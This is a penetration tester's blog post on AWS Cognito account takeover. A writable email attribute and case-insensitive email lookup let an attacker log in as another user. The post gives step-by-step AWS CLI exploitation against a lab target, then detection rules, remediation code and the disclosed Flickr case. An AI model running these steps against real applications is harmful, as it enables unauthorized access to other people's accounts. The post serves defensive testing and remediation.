WHITE PAPER
Secure the agentic shift and bridge the AI readiness gap with the Responsible AI Imperative white paper
WHITE PAPER
Secure the agentic shift and bridge the AI readiness gap with the Responsible AI Imperative white paper

Full Account Takeover via AWS Cognito Misconfiguration

Executive Summary

AWS Cognito is a widely adopted identity management service that handles authentication and authorization for web and mobile applications. However, a critical misconfiguration in how Cognito User Pools handle attribute modification can lead to complete account takeover. When applications fail to implement proper attribute write permissions and use the email attribute instead of the sub claim for user identification (more on this later), attackers can leverage their own valid access token to modify the email attribute to match a victim's email address, effectively hijacking victim accounts without requiring their credentials.

This vulnerability is particularly dangerous because it bypasses traditional authentication controls entirely. An attacker only needs a valid account within the same User Pool to compromise any other user, including administrators.

What is AWS Cognito?

AWS Cognito provides authentication, authorization, and user management for web and mobile applications. It consists of two main components: User Pools and Identity Pools.

User Pools are user directories that provide sign-up and sign-in functionality. When users authenticate, Cognito issues JSON Web Tokens (JWTs) including an access token, ID token, and refresh token. The access token can be used directly with the AWS CLI to read and modify user attributes.

Identity Pools provide temporary AWS credentials to access other AWS services. These are separate from User Pools but often used together.

The Vulnerability

The vulnerability exists due to two key issues:

  1. Writable Attribute(s): By default, AWS Cognito allows authenticated users to modify their own attributes (including email) using the access token via the AWS API.
  2. Improper User Identification: Applications using the email attribute instead of the sub (subject) claim to identify users. According to the OpenID Connect specification, only the sub claim is guaranteed to be unique and should be used for user identification.

The sub claim is preferred because it’s a cryptographically random UUID (e.g., a1b2c3d4-1111-2222-3333-444455556666) that cannot be enumerated by attackers. This value lives in every JWT token generated for a user, is guaranteed unique across all users, and never expires or changes — even if the user updates their email, phone, or other profile attributes.

Example JWT token:

{

"sub": "a1b2c3d4-1111-2222-3333-444455556666",

"email": "user@example.com",

"email_verified": true

}

When applications normalize email addresses (converting to lowercase), but Cognito stores them case-sensitively, an attacker can change their email to a case-variant of the victim's email (e.g., Victim@example.com instead of victim@example.com). When the application normalizes this email during lookup, it matches the victim's account.

Email Case Sensitivity in Practice

While RFC 5321 technically allows case-sensitive local parts in email addresses (the portion before @), virtually all major email providers treat email addresses as case-insensitive:

  • Gmail: user@gmail.com = User@gmail.com = USER@gmail.com
  • Outlook/Hotmail: user@outlook.com = User@outlook.com
  • Yahoo Mail: user@yahoo.com = User@yahoo.com
  • ProtonMail: user@fakeemail.com = User@protonmail.com

Providers enforce case-insensitivity to prevent user confusion and delivery issues. This industry-wide practice means users expect Victim@example.com and victim@example.com to be the same account. The mismatch between Cognito's case-sensitive storage and universal case-insensitive email handling creates this vulnerability.

How Attackers Exploit It

Prerequisites

For this attack to succeed, the following conditions must be met:

  • The target application uses AWS Cognito for authentication
  • The attacker has valid credentials to the application
  • The email attribute is writable via the AWS API
  • The application uses the email attribute (not sub) to identify users
  • The application normalizes email addresses (converts to lowercase) during lookup
  • Email verification is not enforced before attribute changes take effect

Attack Flow

The attack follows this general pattern:

  1. Attacker logs into the application with valid credentials
  2. Attacker captures their Cognito access token from the authentication response
  3. Attacker uses the access token to change their email to a case-variant of the victim's email
  4. Attacker logs in again using the modified email and their own password
  5. Application normalizes the email and matches it to the victim's account
  6. Attacker gains full access to victim's account

Tools Used

The following tools are commonly used to identify and exploit this vulnerability:

  • Burp Suite (https://portswigger.net/burp): Intercepting HTTP requests and capturing tokens
  • AWS CLI (https://aws.amazon.com/cli/): Direct interaction with Cognito APIs
  • Browser Developer Tools: Inspecting network traffic and JavaScript
  • Pacu (https://github.com/RhinoSecurityLabs/pacu): AWS exploitation framework with cognito__enum module for enumerating Cognito User Pools and testing attribute permissions or AWS exploitation framework for AWS security testing and enumeration
  • OWASP ZAP (https://www.zaproxy.org/): Open-source web application security scanner
  • jwt.io (https://jwt.io/): Decoding and inspecting JWT tokens
  • Postman (https://www.postman.com/): Testing API endpoints and authentication flows

Step-by-Step Exploitation

Lab Environment

For this demonstration, we will use the following environment:

  • Target Application: https://portal.labdummy.local
  • AWS Region: us-east-1
  • Cognito Client ID: 3ck15a1ov4f0d3o97vs3tbjb52
  • Attacker Email: attacker@fakeemail.com
  • Victim Email: admin@labdummy.local

Step 1: Log in to Application Portal

  1. Navigate to the SolarVista Portal login page at https://portal.labdummy.local/login
  2. Enter a valid username and password
  3. Complete the login process

Step 2: Capture Cognito Access Token

  1. Open Burp Suite and configure the browser proxy
  2. During login, capture the HTTP response from Cognito
  3. Look for AuthenticationResult in the response
  4. Copy the AccessToken value

Sample Request:

POST / HTTP/2

Host: cognito-idp.us-east-1.amazonaws.com

Content-Type: application/x-amz-json-1.1

X-Amz-Target: AWSCognitoIdentityProviderService.InitiateAuth

{

"AuthFlow": "USER_PASSWORD_AUTH",

"ClientId": "3ck15a1ov4f0d3o97vs3tbjb52",

"AuthParameters": {

"USERNAME": "attacker@fakeemail.com",

"PASSWORD": "[REDACTED]"

}

Sample Response:

{

"AuthenticationResult": {

"AccessToken": "eyJraWQiOiJPVj...[truncated]",

"ExpiresIn": 3600,

"TokenType": "Bearer",

"RefreshToken": "eyJjdHkiOiJKV1Qi...[truncated]",

"IdToken": "eyJraWQiOiJhYmNk...[truncated]"

},

"ChallengeParameters": {}

}

Success Indicator: AccessToken value captured from the authentication response.

Step 3: Set Token as Environment Variable

Note: Setting the token as an environment variable is optional but recommended for ease of use. Alternatively, you can copy and paste the token directly into each command.

You can store the captured access token as an environment variable for use in subsequent commands.

Command:

export TOKEN="<ACCESS_TOKEN>"

Example:

 

export TOKEN="eyJraWQiOiJPVj...[full token value]"

Success Indicator: Token stored in environment variable without errors.

Step 4: Verify Current User Attributes

Confirm the access token works and view current user attributes.

Command:

aws cognito-idp get-user --region <REGION> --access-token $TOKEN

Example:

aws cognito-idp get-user --region us-east-1 --access-token $TOKEN

Sample Output:

{

"Username": "e28c34a5-7f92-4b1d-9c8e-3f5a6b7c8d9e",

"UserAttributes": [

{

"Name": "sub",

"Value": "e28c34a5-7f92-4b1d-9c8e-3f5a6b7c8d9e"

},

{

"Name": "email_verified",

"Value": "true"

},

{

"Name": "email",

"Value": "attacker@fakeemail.com"

}

]

Success Indicator: User attributes returned successfully, confirming API access.

Step 5: Update Email to Victim's Address (Case-Variant)

Change the email attribute to a case-variant of the victim's email address.

Command:

aws cognito-idp update-user-attributes \

--region <REGION> \

--access-token $TOKEN \

--user-attributes Name=email,Value=<VICTIM_EMAIL_CASE_VARIANT>

Example:

aws cognito-idp update-user-attributes \

--region us-east-1 \

--access-token $TOKEN \

--user-attributes Name=email,Value=Admin@labdummy.local

Note: Use a case-variant of the victim's email (e.g., Admin@labdummy.local instead of admin@labdummy.local).

Sample Output:

{

"CodeDeliveryDetailsList": [

{

"Destination": "A***@s***.io",

"DeliveryMedium": "EMAIL",

"AttributeName": "email"

}

]

}

Success Indicator: Command executes without authorization error. The email attribute has been modified.

Step 6: Verify Email Change

Confirm the email attribute has been updated.

Command:

aws cognito-idp get-user --region us-east-1 --access-token $TOKEN

Sample Output:

{

"Username": "e28c34a5-7f92-4b1d-9c8e-3f5a6b7c8d9e",

"UserAttributes": [

{

"Name": "sub",

"Value": "e28c34a5-7f92-4b1d-9c8e-3f5a6b7c8d9e"

},

{

"Name": "email_verified",

"Value": "false"

},

{

"Name": "email",

"Value": "Admin@labdummy.local"

}

]

}

Success Indicator: Email attribute shows the case-variant of the victim's email address.

Step 7: Login as Victim

Login to the application using the modified email address (case-variant) with the attacker's original password.

  1. Navigate to https://portal.labdummy.local/login
  2. Enter the case-variant email: Admin@labdummy.local
  3. Enter the attacker's password
  4. Submit the login form

The application normalizes the email to lowercase (admin@labdummy.local) and matches it to the victim's account. Since the application uses email for user identification instead of the sub claim, the attacker is now logged into the victim's account.

Success Indicator: Successfully logged into the victim's account (admin@labdummy.local) with full access to their data and privileges.

Detection Strategies

Organizations can detect this attack through the following methods:

CloudTrail Monitoring:

Monitor AWS CloudTrail for suspicious Cognito API calls, particularly UpdateUserAttributes events where email attributes are being modified.

eventSource: cognito-idp.amazonaws.com

eventName: UpdateUserAttributes

Anomaly Detection:

Implement alerts for unusual patterns such as:

  • Email attribute changes to addresses similar to existing users
  • Multiple email changes from the same access token
  • Login attempts with case-variant email addresses (Note: Enabling case-insensitive username in User Pool settings can reduce this detection signal but doesn't prevent the underlying email attribute modification attack)

Email Change Notifications:

Send notifications to both old and new email addresses when email attributes are modified, allowing legitimate users to detect unauthorized changes.

Mitigation and Remediation

How to Fix the Vulnerability

Immediate Fix:

1. Restrict Email Write Permissions

aws cognito-idp update-user-pool-client \

--user-pool-id <USER_POOL_ID> \

--client-id <CLIENT_ID> \

--read-attributes "sub" "email" "email_verified" \

--write-attributes "name" "phone_number"

# Note: email is NOT in write-attributes

2. Validate Email Verification

// Add this check in your authentication middleware

function authenticateUser(token) {

const claims = verifyJWT(token);

// Check email verification

if (claims.email_verified !== true) {

throw new Error('Email not verified');

}

// Use sub for user lookup, NOT email

const user = getUserById(claims.sub);

return user;

}

3. Enforce MFA for Sensitive Attribute Changes (Application-Level)

Important Note: AWS Cognito MFA protects the authentication flow but does NOT prevent direct attribute modifications via AWS CLI using a valid Access Token. Therefore, MFA must be enforced at the application level.

Implement application-level MFA verification before allowing email or phone number changes:

// Require MFA before email/phone changes

function updateSensitiveAttribute(userId, attributeName, newValue) {

// Verify MFA token from user

if (!verifyMFAToken(userId)) {

throw new Error('MFA verification required for this change');

}

// Only allow change after MFA verification

if (attributeName === 'email' || attributeName === 'phone_number') {

// Send verification code to new email/phone

sendVerificationCode(newValue);

return { status: 'pending_verification' };

}

}

Important: The most effective mitigation is still restricting write permissions on the email attribute in the Cognito app client configuration, as this prevents the AWS CLI attack entirely.

Long-Term Fix (1-2 weeks):

4. Migrate to sub-Based Authentication

// OLD (Vulnerable) - Using email for user lookup

const userEmail = jwtClaims.email.toLowerCase();

const user = await db.query(

'SELECT * FROM users WHERE email = ?',

[userEmail]

);

// NEW (Secure) - Using sub for user lookup

const userId = jwtClaims.sub;

const user = await db.query(

'SELECT * FROM users WHERE cognito_sub = ?',

[userId]

);

5. Enable AWS Security Setting

# Requires email verification before change takes effect

aws cognito-idp update-user-pool \

--user-pool-id <USER_POOL_ID> \

--user-attribute-update-settings \

AttributesRequireVerificationBeforeUpdate=email,phone_number

6. Add Monitoring

# Create CloudWatch alarm for email changes

aws logs put-metric-filter \

--log-group-name /aws/cognito/userpool/<USER_POOL_ID> \

--filter-name EmailAttributeUpdates \

--filter-pattern '{ $.eventName = "UpdateUserAttributes" && $.requestParameters.userAttributes[*].name = "email" }' \

--metric-transformations \

metricName=EmailUpdates,metricNamespace=CognitoSecurity,metricValue=1

Alternative: Monitor via CloudTrail

For organizations not using CloudWatch Logs, you can monitor email attribute changes through AWS CloudTrail:

# Query CloudTrail for UpdateUserAttributes events

aws cloudtrail lookup-events \

--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateUserAttributes \

--max-results 50 \

--region <REGION>

CloudTrail Event Example:

{

"eventName": "UpdateUserAttributes",

"eventSource": "cognito-idp.amazonaws.com",

"requestParameters": {

"userAttributes": [

{

"name": "email",

"value": "newemail@example.com"

}

]

}

}

CloudTrail vs CloudWatch Comparison:

  • CloudTrail: Good for historical analysis and compliance audit trails; less real-time; available by default in all AWS accounts
  • CloudWatch: Better for real-time alerting and automated responses; requires log group configuration; more granular filtering

Organizations can use CloudTrail for post-incident investigation and CloudWatch for proactive detection and alerting.

Real-World Impact

Flickr Account Takeover (September 2021)

In September 2021, security researcher Lauritz Holtmann discovered a critical zero-click account takeover vulnerability in Flickr's authentication system. The vulnerability affected millions of Flickr users and demonstrated how improper AWS Cognito integration can lead to complete platform compromise.

Technical Details:

Flickr's authentication at identity.flickr.com was implemented using AWS Cognito. The vulnerability stemmed from two key issues:

  1. Writable Email Attribute: The access token issued by Cognito could be used directly with the AWS CLI to modify user attributes, including the email address.

  2. Email-Based User Identification: Flickr used the email claim instead of the sub claim to identify users. Additionally, Flickr normalized email addresses to lowercase during lookup, but Cognito stored them case-sensitively.

By changing their email attribute to a case-variant of a victim's email (e.g., Victim@flickr.com instead of victim@flickr.com), an attacker could log in with their own password and gain access to the victim's Flickr account.

Discovery and Disclosure:

  • September 17, 2021: Lauritz Holtmann reported the vulnerability to Flickr via HackerOne (Report #1342088)
  • September 17, 2021: Report triaged, maximum bounty awarded
  • September 18, 2021: Preliminary fix deployed to mitigate immediate risk
  • December 18, 2021: Public disclosure of the vulnerability

Key Takeaways from the Flickr Case:

  1. Only the sub claim should be used for user identification
  2. Applications must protect sensitive attributes from client-side modification
  3. Email verification status (email_verified) must be checked before trusting the email claim

References:

  • HackerOne Report: https://hackerone.com/reports/1342088
  • Detailed Blog Post: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/

Conclusion

AWS Cognito misconfiguration leading to account takeover represents a critical vulnerability that can completely bypass authentication controls. The attack is straightforward to execute, requiring only a valid access token and basic AWS CLI commands to compromise any user account within the same User Pool.

The root cause is the use of the email attribute for user identification instead of the sub claim, combined with writable attribute permissions. This was demonstrated in the real-world Flickr vulnerability that affected millions of users.

Organizations using AWS Cognito must:

  1. Use the sub claim (not email) for user identification
  2. Restrict attribute write permissions
  3. Enable email verification requirements before attribute changes take effect
  4. Monitor for suspicious attribute modification activity

For penetration testers, this vulnerability should be tested on any application using AWS Cognito by capturing access tokens and attempting to modify user attributes. The simplicity of the attack makes it a high-value finding during security assessments.

References

  • AWS Cognito Developer Documentation: https://docs.aws.amazon.com/cognito/latest/developerguide/
  • AWS Cognito User Pool Attribute Permissions: https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-attributes.html
  • AWS CLI Cognito-IDP Commands: https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/
  • OpenID Connect Core 1.0 Specification: https://openid.net/specs/openid-connect-core-1_0.html
  • Flickr Account Takeover (Lauritz Holtmann): https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/
  • HackerOne Report #1342088: https://hackerone.com/reports/1342088
  • OWASP Broken Access Control: https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/
Back to Blog
About GhostShift
Penetration tester with 7+ years of experience in offensive security, having completed over 100 penetration tests across cloud, web, mobile, and internal/external network environments. I hold OSCP, EWPTXv2, and Cloud Essentials certifications and have conducted security assessments for global clients in public and private sectors. I specialize in real-world attack simulations, manual exploitation, and helping organizations understand and mitigate security risks from an attacker's perspective. More By GhostShift
Attacking Windows Applications Pt. 2
Welcome to the second part of the blog series "Attacking windows application." In this blog, we go more in-depth on attacking these applications and the tools used.
Blog
Aug 4, 2022
OAuth Vulnerabilites Pt. 2
OAuth is a widely-used protocol that enables users to authorize third-party applications to access their data from other services, such as social media or cloud storage. However, like any technology, OAuth is not immune to vulnerabilities. This is Pt. 2 of a two-part series by Core Pentester Shubham Chaskar.
Blog
Mar 20, 2023